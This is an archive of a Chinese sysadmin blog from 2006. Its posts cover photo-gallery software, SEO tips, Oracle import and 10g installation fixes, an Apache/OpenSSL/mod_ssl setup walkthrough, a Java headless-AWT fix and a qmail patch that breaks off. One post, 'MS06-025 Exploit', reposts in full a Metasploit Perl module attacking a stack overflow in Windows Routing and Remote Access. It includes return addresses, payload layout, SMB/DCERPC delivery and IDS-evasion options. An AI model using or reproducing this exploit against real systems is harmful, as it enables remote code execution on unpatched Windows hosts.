与 Coppermine 相比, Gallery 的功能更强大一些,扩展更丰富。安装方面 Coppermine 简单一些,只有3步,Gallery 10来步。 模版定制上 Coppermine 比较复杂,虽然文件不多,但各项语法比较费事,不是很直观的 html,需要用到一些 PHP, 相比 Gallery 的模版定制更简单一些。



Gallery 的系统要求:



* 平台 - UNIX (BSD, Linux, …) or Windows
* 网络服务器 - Apache, Microsoft IIS, Zeus, …
* PHP - PHP 4.1.0 或更高, PHP safe_mode 必须关闭
* 图片处理库 - ImageMagick, NetPBM. Gallery 2 还加上了对 GD 和 GraphicsMagick 的支持。
* 数据库 (Gallery 2) - MySQL 3.x, 4.x or 5.x, PostgreSQL 7.x or 8.x, Oracle 9i or 10g, DB2 8.2 (Gallery 1.x 不使用数据库)


相关链接:



1, Gallery 2.0.3 下载 (如果下载打不开,请使用代理,它连接到的是 SourceForge 下载。共分为3个安装包,主要是里边包含的模块多少不一样,全部都有的解压后30M左右,典型的16M左右,最小的安装包 7/8M)
2, Gallery 2.1 RC 1b 每夜构建版下载
3, 主题,模块下载更多请看站长世界的讨论:
http://www.chinawebmasterworld.com/forums/index.php?showtopic=372

Posted by vitter at 2006-09-01 15:07:09 | 评论 (0) | 引用

August 28, 2006

SEO搜索引擎优化二十八条经验建议

第一条:网站优化最重要的是网站内容要准确定位客户,这一点是网站是否能吸引您真正期望的访问者的直接因素。

第二条:精心选择和网站主题及所瞄准的时常相关的关键字。

第三条:尽量在网站内容中利用选择的关键字,值得注意的是,关键字尽量出现在内容的前面部分。

第四条:网站的标题中一定要包含您认为最为重要的关键字。

第五条:在头部标记中尽量运用关键字,将帮助网站在基于该关键字在搜索结果中的排名。

第六条:尽量为图像加上ALT标记,在该标记中包含必要的关键字。

第七条:千万别让关键字的颜色和网页背景颜色相同,搜索引擎将认为是恶意行为(SPAM)。

第八条:务必使用您自己的域名和主机,不要使用免费的二级域名,这样显得不很专业,影响搜索引擎的影响。

第九条:资金允许的话,抢注您的域名的变种,以防别的网站利用您的域名的变异域名而受益。

第十条:有可能的话,将您的关键字包含在域名中,这样可以提高在搜索引擎中的排名,这样也许会损失一点品牌形象。

第十一条:尽量用和相应页面内容相关的关键字命名页面文件名。

第十二条:尽量不要把页面放在长结构的目录中,最好把大多数页面放在顶级目录或一级子目录中。

第十三条:假如您开始一个新的网络业务,如果有可能的话,让关键包含在新业务的名称中。

第十四条:建立一个看起来比较专业的网站,网站是您服务甚至是公司的门面,一个专业的网站可以啬客户的信任度。

第十五条:测试您的网站,确保在IE,Netscape,及Mac兼容,尽量使用DIV+CSS架构。

第十六条:在提交搜索引擎前检测您的网站,确保没有死链接。

第十七条:尽量减少排字、拼写及语法上的错误。

第十八条:尽量保证在网站的每个页面上都有返回主页的链接按钮或文本链接。

第十九条:网站的首页应该设计成下载速度较快的方式,避免在主页上运用FLASH或过多的图像,搜索引擎不能检索图像。

第二十条:在网站的每个页面上使用普通的导航菜单。

第二十一条:可以让客户很容易地找到定单位置,而且保证是可用的。测试定单处理的每个阶段。

第二十二条:鼓励其他网站和你的网站交换链接,啬网站的外部链接(Link Popularity),有利于搜索引擎的搜索。

第二十三条:记住Google把任何Cloaking都认为是SPAM。cloaking-为一个单一的目的,人为地设计一条。

第二十四条:为网站建立一个网站地图,这有利于访客和搜索引擎看到网站的的所有页面。

第二十五条:在单独的文件中旋转样式表及javas cript代码,主体部分前面包含关键字的代码越少越好。

第二十六条:惟一性。即整个页面只布置一个广告,排除了几个广告共处一个页面的干扰,从而提高了视觉吸引力。

第二十七条:粘度高。用户进行内容浏览时,即使在热点的页面,也不可能做太长的停留。而当用户进入邮箱进行一系列的操作时,其在邮件中停留的时间往往长于浏览页面时花费的时间,如果再将回复邮件的时间计算在内,其逗留时间就更加惊人了。

第二十八条:非强迫性。作为网易邮箱背景画面出现的联想“只要你想”展现的是悠然、诗意的蓝天绿地,几乎成为网易邮箱的一部分,这种自然的形式预先消除了用户对广告下意识的抵触心理,创造了用户主动了解产品的基础,无形间也增加了用户对品牌的友好度。

Posted by vitter at 2006-08-28 13:43:29 | 评论 (0) | 引用

August 18, 2006

关于linux下的oracle用exp导出的数据用imp导入字符集问题

用exp整库备份的数据导入到linux下的时候字符集的问题,中文出现乱码,但是在win下用imp导入没有问题,我们从linux本地导入出现问题,修改字符集设置不管用.插入中文内容不乱码,说明我们的数据支持中文,因此没有问题.
发现在Oracle 8.1.7 for Windows NT的服务器(或装有Oracle 8.1.7 for windows 95/98的工作站)上直接用Oracle 8.1.7 for Windows NT的导入工具imp80远程对Oracle 8.1.7 for Digital UNIN数据库进行数据导入,问题竟得到解决。
在NT的服务器上,修改tnsnames.ora(或通过Oracle Net8 Easy config)设置数据库连接字符串dbnms(可自行设定)指向Oracle 8.1.7 for Digital UNIN服务器。
在NT的服务器上进行数据远程导入
c:>imp userid=用户/密码@dbnms file=back.dmp fromuser=用户 touser=用户 rows=y ignore=y

Posted by vitter at 2006-08-18 17:58:23 | 评论 (0) | 引用

July 24, 2006

openssl+apache+mod_ssl安装配置调试过程

主要介绍在linux下怎么搭建一个包含mod_ssl模块的apache服务器,并且如何根据不同的要求配置SSL
一 下载
1,从www.openssl.org下载openssl到/usr/local/src
2.从www.apache.org下载apache到/usr/local/src
3.从www.modssl.org下载mod_ssl到/usr/local/src
二 解压缩
cd /usr/local/src
tar zxvf openssl-0.9.8b.tar.gz
tar zxvf mod_ssl-2.8.27-1.3.36.tar.gz
tar zxvf apache_1.3.36.tar.gz
三 编译openssl
cd /usr/local/src/openssl-0.9.8b
./config --prefix=/usr/local/openssl
make
make install
四 编译mod_ssl
cd /usr/local/src/mod_ssl-2.8.27-1.3.36
./configure --with-apache=/usr/local/src/apache_1.3.36
五 编译apache
SSL_BASE=/usr/local/openssl ./configure --enable-module=SSL --prefix=/usr/local/apache --enable-module=so ..........................
make
make install
到这里为止,已经把准备工作做好了。

六 建立自己的CA
[root@databack root] cd /usr/local/apache
[root@databack apache] mkdir CAroot
建立自己的CA目录,我不知道这样为CA建一个目录好不好
[root@databack apache] cd CAroot
[root@databack CAroot] cp /usr/local/openssl/ssl/openssl.cnf ./openssl.cnf
将CA配置文件拷过来
[root@databack CAroot] vi openssl.cnf
修改配置文件中的dir,将./demoCA修改为/usr/local/apache/CAroot
[root@databack CAroot] mkdir newcerts
[root@databack CAroot] mkdir certs
[root@databack CAroot] mkdir crl
[root@databack CAroot] mkdir private
[root@databack CAroot] vi index.txt
可以不写数据,直接:wq
[root@databack CAroot] vi serial
写入00,然后:wq
[root@databack CAroot] vi ./private/.rand
写入两行随机数,然后:wq
#呵呵,上面所作的这些全是根据openssl.cnf来的
[root@databack CAroot] /usr/local/openssl/bin/openssl req -new -x509 -newkey rsa:1024 -keyout ./private/cakey.pem -out cacert.pem

(按提示操作)
Generating a 1024 bit RSA private key
.......................++++++
.......++++++
writing new private key to './private/cakey.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase: (这个地方的密码要记住,后面要用到)
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:CN (随便,当然我天cn)
State or Province Name (full name) [Some-State]:Beijing (随便)
Locality Name (eg, city) []:Beijing (随便)
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Securitycn Team (随便)
Organizational Unit Name (eg, section) []:securitycn (随便)
Common Name (eg, YOUR name) []:www.securitycn.net (随便)
Email Address []:vitter@mail.securitycn.net (随便)
为CA生成密钥和证书

七 为apache生成密钥和证书
[root@databack CAroot] cd /usr/local/apache/conf/ssl.crt
[root@databack ssl.crt]# /usr/local/openssl/bin/openssl req -new -newkey rsa:1024 -keyout ../ssl.key/server.key -out ../ssl.csr/server.csr
Generating a 1024 bit RSA private key
.......++++++
.++++++
writing new private key to '../ssl.key/server.key'
Enter PEM pass phrase: (跟上面一样)
Verifying - Enter PEM pass phrase: (跟上面一样)
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:CN (跟上面一样)
State or Province Name (full name) [Some-State]:Beijing (跟上面一样)
Locality Name (eg, city) []:Beijing (跟上面一样)
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Securitycn Team (跟上面一样)
Organizational Unit Name (eg, section) []:securitycn (跟上面一样)
Common Name (eg, YOUR name) []:www.securitycn.net (跟上面一样)
Email Address []:vitter@mail.securitycn.net (跟上面一样)

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []: (不输)
An optional company name []: (不输)
生成证书请求和密钥

[root@databack ssl.crt]# /usr/local/openssl/bin/openssl ca -in ../ssl.csr/server.csr -out server.crt -config /usr/local/apache/CAroot/openssl.cnf
Using configuration from /usr/local/apache/CAroot/openssl.cnf
Enter pass phrase for /usr/local/apache/CAroot/private/cakey.pem:
Check that the request matches the signature
Signature ok
Certificate Details:
Serial Number: 0 (0x0)
Validity
Not Before: Jul 21 10:08:26 2006 GMT
Not After : Jul 21 10:08:26 2007 GMT
Subject:
countryName = CN
stateOrProvinceName = Beijing
organizationName = Securitycn Team
organizationalUnitName = securitycn
commonName = www.securitycn.net
emailAddress = vitter@mail.securitycn.net
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
Netscape Comment:
OpenSSL Generated Certificate
X509v3 Subject Key Identifier:
1E:5D:F6:B4:21:0F:68:98:B2:5B:BE:79:CE:E1:B0:8D:1A:86:47:CE
X509v3 Authority Key Identifier:
keyid:18:70:E5:39:AF:E2:62:F3:2C:E7:87:B1:AD:AF:56:93:BB:28:FD:77

Certificate is to be certified until Jul 21 10:08:26 2007 GMT (365 days)
Sign the certificate? [y/n]:y


1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated
用CA私钥签名证书请求(密码是在为CA生成密钥和证书的时候设置的密码)
#现在已经得到了服务器的证书和私钥
八 修改httpd.conf
[root@databack ssl.crt]# cd ..
[root@databack conf]# vi httpd.conf
将ServerName 更改为www0.securitycn.net 不设也可以,不过会出现警告
将SSLCertificateFile修改为/usr/local/apache/conf/ssl.crt/server.crt
将SSLCertificateKeyFile修改为/usr/local/apache/conf/ssl.key/server.key
#这是最基本的设置了,先用用试试看吧.
九 启动服务

/usr/local/apache/bin/apachectl startssl

十 测试下

https://192.168.10.10

十一 从客户端测试

找个windows电脑(LINUX也行)输入https://192.168.10.10 记住是https,要使http就直接不验证就通过了,此时将会出现一个对话框,一般第二个是对,毕竟时间都是有效的嘛.第三个是叹号那是因为访问站点与证书通用名不匹配,这需要在用openssl生成apache服务器证书时将通用名设定为192.168.10.10,第一个叹号是因为没有安装CA根证书,这时将/usr/local/apache/CAroot/cacert.pem 拷到客户机安装就可以了。
重新打开浏览器输入https://192.168.10.10,怎么什么反应也没有就进去了呢,呵呵,其实已经对服务器进行认真了,这和http://192.168.10.10有本质区别。

十二 配置更多的SSL应用(这个在/usr/local/apache/htdocs/manual/mod/mod_ssl有详细文档)
1,实现对客户端的认证
修改httpd.conf
SSLVerifyClient require
SSLVerifyDepth 1
SSLCACertificateFile /usr/local/apache/CAroot/cacert.pem
现在在客户端输入https://192.168.10.10 ,将要求出示证书,那现在就生成一个客户PKCS格式证书吧
cd /usr/local/apache/conf/ssl.crt
openssl req -new -newkey rsa:1024 -keyout ../ssl.key/client.key -out ../ssl.csr/client.csr 生成证书请求和密钥
openssl ca -in ../ssl.csr/client.csr -out client.crt -config /CAroot/openssl.cnf 用CA私钥签名证书请求
openssl pkcs12 -export -clclient -inkey ../ssl.key/client.key -in client.crt -out /home/share/client.p12
#/home/share目录是samba服务器的共享目录,一般是将client.p12放在USBkey中,为了方便所以直接共享了.
在客户端上安装client.p12,呵呵这样就可以实现双方的认证了,双方通信也实现了SSL.(to be continuing)
2:某些页面只允许持有证书的客户访问,其他页面允许所有人访问
修改httpd.conf,当然需要先作一些页面的准备,/usr/local/apache/htdocs/secure是我们放只允许有证书访问的目录
SSLVerifyClient none
SSLCACertificateFile conf/ssl.crt/ca.crt

SSLVerifyClient require
SSLVerifyDepth 1

3.某些页面只允许持有某种特定证书内容的客户访问,其它页面允许所有人访问
在这里我假设允许我们局域网的人访问
SSLVerifyClient none

SSLVerifyClient require
SSLVerifyDepth 5
SSLCACertificateFile conf/ssl.crt/ca.crt
SSLCACertificatePath conf/ssl.crt
SSLOptions +FakeBasicAuth
SSLRequireSSL
SSLRequire %{SSL_CLIENT_S_DN_O} eq "ATR" and \
%{SSL_CLIENT_S_DN_OU} in {"305", "307", "309","313"}

4.允许局域网用户使用http访问局域网站点,但是需要外网用户使用强加密的https访问.
假设局域网用户ip为192.160.1.0-24.
下面的修改要放在HTTPS虚拟主机的外面,这样就可以同时适用于http和https访问
SSLCACertificateFile conf/ssl.crt/company-ca.crt

# Outside the subarea only Intranet access is granted
Order deny,allow
Deny from all
Allow from 192.168.1.0/24


# Inside the subarea any Intranet access is allowed
# but from the Internet only HTTPS + Strong-Cipher + Password
# or the alternative HTTPS + Strong-Cipher + Client-Certificate
# If HTTPS is used, make sure a strong cipher is used.
# Additionally allow client certs as alternative to basic auth.
SSLVerifyClient optional
SSLVerifyDepth 1
SSLOptions +FakeBasicAuth +StrictRequire
SSLRequire %{SSL_CIPHER_USEKEYSIZE} >= 128
# Force clients from the Internet to use HTTPS
RewriteEngine on
RewriteCond %{REMOTE_ADDR} !^192\.168\.1\.[0-9]+$
RewriteCond %{HTTPS} !=on
RewriteRule .* - [F]
# Allow Network Access and/or Basic Auth
Satisfy any
# Network Access Control
Order deny,allow
Deny from all
Allow 192.168.1.0/24
# HTTP Basic Authentication
AuthType basic
AuthName "Protected Intranet Area"
AuthUserFile conf/protected.passwd
Require valid-user

有关SSL配置apache的指令(呵呵,在/usr/local/apache/htdocs/manual/mod/mod_ssl中有更详细的解释)
1.SSLCACertificatePath
语 法:SSLCACertificatePath /to/CA/certificates
应用环境:server config ,virtual host
默认设置:none
该指令为Certificate Authority证书文件指定一个目录
2.SSLCACertificatefile
语 法:SSLCACertificatefile CA_certificate_filename
应用环境:server config ,virtual host
默认设置:none
该指令为指定一个包含Certificate Authority证书的文件
3.SSLBanCipher
语 法:SSLBanCipher Cipher
应用环境:pre-directory config(.htaccess)
使用该指令可以禁止那些想使用cipher的用户对Apache进行配置
4.SSLCacheServerPort
语 法:SSLCacheServerPort port│filename
应用环境:server config ,virtual host
该指令为全程的SSL会话缓存服务器处理过程配置TCP/IP端口或UNIX domain socket
5.SSLCacheServerPort
语 法:SSLCacheServerPath filename
应用环境:server config ,virtual host
该指令为全程的SSL会话缓存服务器的执行指令设置路径.如果你已经使用APACI配置脚本将Apache安装好了,那么缓存执行指令的文件就保存在Apache安装目录的sbin子目录中
6.SSLCertificateFile
语 法:SSLCertificateFile certificate_filename
应用环境:server config ,virtual host
该指令为一个WEB站点上的主机指定证书文件名.如果为某个虚拟主机提供SSL连通性,就需要为该虚拟主机指定一个单独的证书.
7.SSLCertificateKeyFile
语 法:SSLCertificateFile certificate_key_filename
应用环境:server config ,virtual host
该指令为证书指定一个对应的私钥文件
8 SSLEnable
语 法:SSLEnable
应用环境:server config ,virtual host
该指令用来启动SSL,该指令的使用无需参数
9 SSLDisable
语 法:SSLDisable
应用环境:server config ,virtual host
该指令用来禁止SSL,该指令的使用无需参数
10 SSLFakeBasicAuth
语 法:SSLFakeBasicAuth
应用环境:server config ,virtual host
该指令主要将用户的X509证书翻译成一个用户名,转换的用户名可用于验证
11 SSLRequireCipher
语 法:SSLRequireCipher
应用环境:pre-directory config(.htaccess)
该指令为请求密码的pre-directory列表添加一个cipher.
12 SSLogFile
语 法:SSLogFile log_filename
应用环境:server config ,virtual host
该指令使得SSL连接信息写入日志文件中.
13 SSLRequireSSL
语 法:SSLRequireSSL
应用环境:pre-directory config file ,directory
对于一个未使用的SSL连接,该命令能够禁用该连接,该指令的使用无需参数
14 SSLRequiredCiphers
语 法:SSLRequiredCiphers cipher1:cipher2:...
应用环境:server config ,virtual host,pre-directory config(.htaccess)
该指令指定一系列由冒号分隔的密码
15 SSLSessionCacheTimeout
语 法:SSLSessionCacheTimeout seconds
应用环境:server config ,virtual host
该指令为SSL会话设置缓存过期时间
16 SSLVerifyDepth
语 法:SSLVerifyDepth number
应用环境:server config ,virtual host
因为一个CA证书能够被另一个CA证书验证,所以可以形成一个CA证书链.使用该指令可指定服务器验证用户证书时可以查找多少个CA证明.
17 SSLVerifyClient
语 法:SSLVerifyClient numeric-option
应用环境:server config ,virtual host
该指令可以用来决定服务器是否需要用户证书.如果不需要用户证书,将该指令设为0,如果需要用户证书,将该指令设为2;如果用户证书需要与否可选择,则设置为1.

Posted by vitter at 2006-07-24 10:43:47 | 评论 (0) | 引用

June 27, 2006

MS06-025 Exploit

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##


package Msf::Exploit::rras_ms06_025;
use base "Msf::Exploit";
use strict;

use Pex::DCERPC;
use Pex::NDR;

my $advanced = {
'FragSize' => [ 256, 'The DCERPC fragment size' ],
'BindEvasion' => [ 0, 'IDS Evasion of the Bind request' ],
'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ],
};

my $info = {
'Name' => 'Microsoft RRAS MSO6-025 Stack Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' =>
[
'Nicolas Pouvesle ',
'H D Moore '
],

'Arch' => ['x86'],
'OS' => [ 'win32', 'win2000', 'winxp' ],
'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' => {
'RHOST' => [ 1, 'ADDR', 'The target address' ],

# SMB connection options
'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username',''],
'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
'SMBPIPE' => [ 1, 'DATA', 'The pipe name to use (2000=ROUTER, XP=SRVSVC)', 'ROUTER' ],
},

'Payload' => {
'Space' => 1104,
'BadChars' => "\x00",
'Keys' => ['+ws2ord'],

# sub esp, 4097 + inc esp makes stack happy
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
},

'Description' => Pex::Text::Freeform(
qq{
This module exploits a stack overflow in the Windows Routing and Remote
Access Service. Since the service is hosted inside svchost.exe, a failed
exploit attempt can cause other system services to fail as well. A valid
username and password is required to exploit this flaw on Windows 2000.
When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.
}
),

'Refs' =>
[
[ 'BID', '18325' ],
[ 'CVE', '2006-2370' ],
[ 'OSVDB', '26437' ],
[ 'MSB', 'MS06-025' ]
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic' ],
[ 'Windows 2000', 0x7571c1e4 ], # pop/pop/ret
[ 'Windows XP SP1', 0x7248d4cc ], # pop/pop/ret
],

'Keys' => ['rras'],

'DisclosureDate' => 'Jun 13 2006',
};

sub new {
my ($class) = @_;
my $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
return ($self);
}

sub Exploit {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

my $FragSize = $self->GetVar('FragSize') || 256;
my $target = $self->Targets->[$target_idx];

my ( $res, $rpc );

if ( !$self->InitNops(128) ) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}

my $pipe = "\\" . $self->GetVar("SMBPIPE");
my $uuid = '20610036-fa22-11cf-9823-00a0c911e5df';
my $version = '1.0';

my $handle =
Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host,
$pipe );

my $dce = Pex::DCERPC->new(
'handle' => $handle,
'username' => $self->GetVar('SMBUSER'),
'password' => $self->GetVar('SMBPASS'),
'domain' => $self->GetVar('SMBDOM'),
'fragsize' => $self->GetVar('FragSize'),
'bindevasion' => $self->GetVar('BindEvasion'),
'directsmb' => $self->GetVar('DirectSMB'),
);

if ( !$dce ) {
$self->PrintLine("[*] Could not bind to $handle");
return;
}

my $smb = $dce->{'_handles'}{$handle}{'connection'};
if ( $target->[0] =~ /Auto/ ) {
if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
$target = $self->Targets->[1];
$self->PrintLine('[*] Detected a Windows 2000 target...');
}
elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
$target = $self->Targets->[2];
$self->PrintLine('[*] Detected a Windows XP target...');
}
else {
$self->PrintLine( '[*] No target available : ' . $smb->PeerNativeOS() );
return;
}
}

my $pattern = '';

if ($target->[0] =~ /Windows 2000/) {

$pattern =
pack( 'V', 1 ) .
pack( 'V', 0x49 ) .
$shellcode .
"\xeb\x06" .
Pex::Text::AlphaNumText(2).
pack( 'V', $target->[1] ) .
"\xe9\xb7\xfb\xff\xff" ;

} elsif( $target->[0] =~ /Windows XP/) {

$pattern =
pack( 'V', 1 ) .
pack( 'V', 0x49 ) .
Pex::Text::AlphaNumText(0x4c).
"\xeb\x06" .
Pex::Text::AlphaNumText(2).
pack( 'V', $target->[1] ) .
$shellcode;

} else {
self->PrintLine( '[*] No target available...');
return;
}

# need to produce an exception
my $request = $pattern . Pex::Text::AlphaNumText(0x4000 - length($pattern));

my $len = length ($request);

my $stub =
Pex::NDR::Long( int( 0x20000 ) )
. Pex::NDR::Long( int( $len ) )
. $request
. Pex::NDR::Long( int( $len ) );

$self->PrintLine("[*] Sending request...");
my @response = $dce->request( $handle, 0x0C, $stub );
if (@response) {
$self->PrintLine('[*] RPC server responded with:');
foreach my $line (@response) {
$self->PrintLine( '[*] ' . $line );
}
$self->PrintLine('[*] This probably means that the system is patched');
}
return;
}

1;

Posted by vitter at 2006-06-27 12:51:52 | 评论 (2) | 引用

June 09, 2006

解决在linux下在java中使用awt在服务器上处理图片的时候的问题

解决在linux下在java中使用awt在服务器上处理图片的时候的问题:
我们的服务器上没有安装xwindows和XFree86的相关包。web server用的是 Resin 3.0.19。jdk用的是j2sdk1.4.2_12。
现在安装XFree86-libs,然后在执行命令java 加入参数-Djava.awt.headless=true,即修改resin的http.sh的args加入-Djava.awt.headless=true,问题解决。

总结:
程序使用了Java 的AWT,在linux下运行可能报错,有两种解决方式:
(1) jdk1.4以前版本:需要安装 XFree86和XFree86-Xvfb ,加入 export DISPLAY=hostdomain:0.0
(2) jdk 1.4以后版本,需安装XFree86-libs,在执行命令java 加入参数-Djava.awt.headless=true,表示这是一个没有键盘 没有显示器的无头服务器,意思是机房托管的服务器。

Posted by vitter at 2006-06-09 14:23:10 | 评论 (0) | 引用

June 07, 2006

oracle 10g常见问题精选

一、乱码问题
Redhat RHEL AS3 下安装 Oracle DB 10g 中文乱码问题
  不少兄弟反映在rhel3下安装oracle10g时出现乱码, 其实在安装和使用时出现乱码的地方有多个, 可以分为三类:
  1. 安装时的乱码
  2. 一些应用程序的乱码, 比如 dbca, netca
  3. 一些基于oc4j的web应用的乱码, 比如 isqlplus, em

  造成这些问题的原因都是一个, 就是这些程序都使用jdk, 相应的jdk(或jre) 使用的字体配置文件 font.properties 中的字体和操作系统的字体或者字体配置文件不匹配. 解决的办法是把两者改成一致.

  1. 下载, 解包 ship.db.cpio.gz, 生成目录 Disk1

  2. cd Disk1/stage/Components/oracle.swd.jre/1.4.2.0.0/1/DataFiles/
  unzip all_except_bin.jar (这时生成一个 jre 的目录)
  cd jre/1.4.2/lib/
  mv font.properties font.properties.bak
  cp font.properties.zh_CN.Redhat8.0 font.properties
  cd ../../../
  zip -r all_except_bin.jar.new jre/
  mv all_except_bin.jar.new all_except_bin.jar
  (其实就是把 font.properties 文件换掉. 这样安装时汉字显示就没有问题了)

  3. 如法炮制, 把Disk1/stage/Components/oracle.jdk/1.4.2.0.0/1/DataFiles/sol_bin.1.1.jar 文件里面的font.properties 文件换掉, 创建数据库和执行网络配置时的乱码就没有了. isqlplus 和em 的乱码也解决了。
IE登录Linux服务器上的em出现的乱码
  不知道大家有没有注意到,EM显示的中文翻译很是糟糕,up/down 动不动就翻译成“向上”“向下”,让人哭笑不得.很多朋友都说,干脆给显示英文算了,可是怎么显示呢?

  好了,现在我们有一种办法很容易的解决这个问题:

  打开你的IE浏览器,选择'工具"-->Internet选项-->常规

  选择“语言”,默认只有“中文”,选择“添加”,加入英语(美国),调整顺序,把”英语(美国)“放到最上面

  OK ,确定。

  打开你的 http://yoururl:5500/em

  问题解决了。


二、10g如何更改归档模式
  1. 对于初始化文件,只需要修改log_archive_dest_n 这个参数.n=1,2,3,....10, Oracle 缺省会使用log_archive_dest_10这个参数来使用flash recovery area里面存放的归档日志文件,大小由参数db_recovery_file_dest_size来决定.

  修改:
  log_archive_dest_1="location=c:\oracle\10g\...\archivelog quota_size=2G"
  ...
  如果归档使用flash recovery area, 上面的参数不需要指定任何值,Oracle 会自动使用db_recovery_file_dest这个参数所指定的路径。

  2. 启动sqlplus:
  startup mount pfile='....'
  alter database archivelog;
  (如果启用flashback, alter database flashback on)

  alter database open;
  archive log list(查看是否运行在归档模式)
  (如果前面的log_archive_dest_n没有设置,则会显示USE_DB_RECOVERY_FILE_DEST)

  3. 怎样变成noarchivelog 模式
  步骤基本同上。
三、用dblink在10G中做create table ..as select * from ..varchar2()的column宽度变成3倍
  问题描述:例如:varchar2(255)==>varchar(765)

  测试:1. 环境: 两台机器都装的10G的数据库
  2. 测试步骤和结果:

SQL> conn test1/test1@db10G_server1
SQL> create database link link_server2

connect to test1 identified by test1

using 'db10G_server2'
SQL> conn test1/test1@db10G_server2
SQL> create table test1_t1 as select * from all_objects

where rownum<=3000;
SQL> desc test1_t1;
Name Null? Type

---------------------------------------------------------------

OWNER VARCHAR2(30)

OBJECT_NAME VARCHAR2(30)

SUBOBJECT_NAME VARCHAR2(30)

OBJECT_ID NUMBER

DATA_OBJECT_ID NUMBER

OBJECT_TYPE VARCHAR2(19)

CREATED DATE

LAST_DDL_TIME DATE

TIMESTAMP VARCHAR2(19)

STATUS VARCHAR2(7)

TEMPORARY VARCHAR2(1)

GENERATED VARCHAR2(1)

SECONDARY VARCHAR2(1)
SQL> conn test1/test1@db10G_server1
SQL> create table test1_linkt1 as

select * from test1_t1@link_server2;
SQL> desc test1_linkt1
Name Null? Type

----------------------------------------- -------- ----------------

OWNER VARCHAR2(60)

OBJECT_NAME VARCHAR2(60)

SUBOBJECT_NAME VARCHAR2(60)

OBJECT_ID NUMBER

DATA_OBJECT_ID NUMBER

OBJECT_TYPE VARCHAR2(38)

CREATED DATE

LAST_DDL_TIME DATE

TIMESTAMP VARCHAR2(38)

STATUS VARCHAR2(14)

TEMPORARY VARCHAR2(2)

GENERATED VARCHAR2(2)

SECONDARY VARCHAR2(2)

  表结构一样,但是列的长度确实变了, 通过dblink创建的表的varchar2列的长度是原表的两倍

  再来看看字符集

  1.Server1上的数据库字符集

SQL> column value format A20
SQL> select value from nls_database_parameters where parameter='NLS_CHARACTERSET';

value
--------------
ZHS16GBK


  2. Server2上的数据库字符集

SQL> conn test1/test1@db10G_server2
SQL> column value format A20
SQL> select value from nls_database_parameters where parameter='NLS_CHARACTERSET';

value
--------------
AL32UTF8

  结论: 与数据库字符集不同有关系.
四、在10g不支持的Linux发行版上安装10g的解决方法
  正常安装的10g只支持Red Hat Enterprise Linux 2.1 and 3, and on UnitedLinux 1.0。如果是其它的版本,比如fedora,rh9等,10g将会说不支持,而不允许安装,解决方法如下:

  1.运行runInstaller -ignoreSysPrereqs,这样会跳过检查

  2.修改/etc/redhat-release文件,让10g认为自己处于支持的操作系统中,运行下面的命令即可

su - root
cp /etc/redhat-release /etc/redhat-release.backup
cat > /etc/redhat-release << EOF
Red Hat Enterprise Linux AS release 3 (Taroon)
EOF

  安装完毕,再将那个文件还原:

su - root
cp /etc/redhat-release.backup /etc/redhat-release


  3.同样的思路,我们可以去修改Oracle 的install/oraparam.ini文件:

[Certified Versions]
Linux=redhat-2.1,UnitedLinux-1.0,redhat-3

  把这个屏蔽掉,或者是添加新的内容:

[Certified Versions]
Linux=redhat-2.1,UnitedLinux-1.0,redhat-3

[Linux-redhat-2.1-optional]
TEMP_SPACE=80
SWAP_SPACE=150
MIN_DISPLAY_COLORS=256

[UnitedLinux-1.0-optional]
TEMP_SPACE=80
SWAP_SPACE=150
MIN_DISPLAY_COLORS=256

[Linux-redhat-3.0-optional]
TEMP_SPACE=80
SWAP_SPACE=150
MIN_DISPLAY_COLORS=256

  对这个地方定制一下就可以了。
  注:有兴趣的朋友不妨测试一下,其实在这个地方可以定制很多东西的,但是不推荐在正式的应用中这么做。

Posted by vitter at 2006-06-07 16:53:00 | 评论 (0) | 引用

April 26, 2006

禁止qmail系统退信

由于直邮系统效率问题现在需要禁止qmail对发不出的邮件发退信通知邮件,即关闭系统邮件通知功能。查了些资料发现这个方法可行:
参照Rusell Nelson得doublebounce-trim patch, 该patch会“discards doublebounces without queuing them”。该patch如下:

If you don't want doublebounces to hit your queue a second time
(because you have, say, ten million mailboxes and as much legitimate
email traffic and more spam), the following patch will immediately
discard bouncing bounces. Note that doublebounceto must start with a
blank line; that is, it must have one newline in it. A totally empty
file means "use the default of 'posthamster'".

This version was rewritten by Charles Cazabon from my original patch
to include a man page, turn the patch around in the right direction,
and emit its own message for the logfile.

Apply this patch as so:

cd /usr/local/src/qmail-1.03
patch

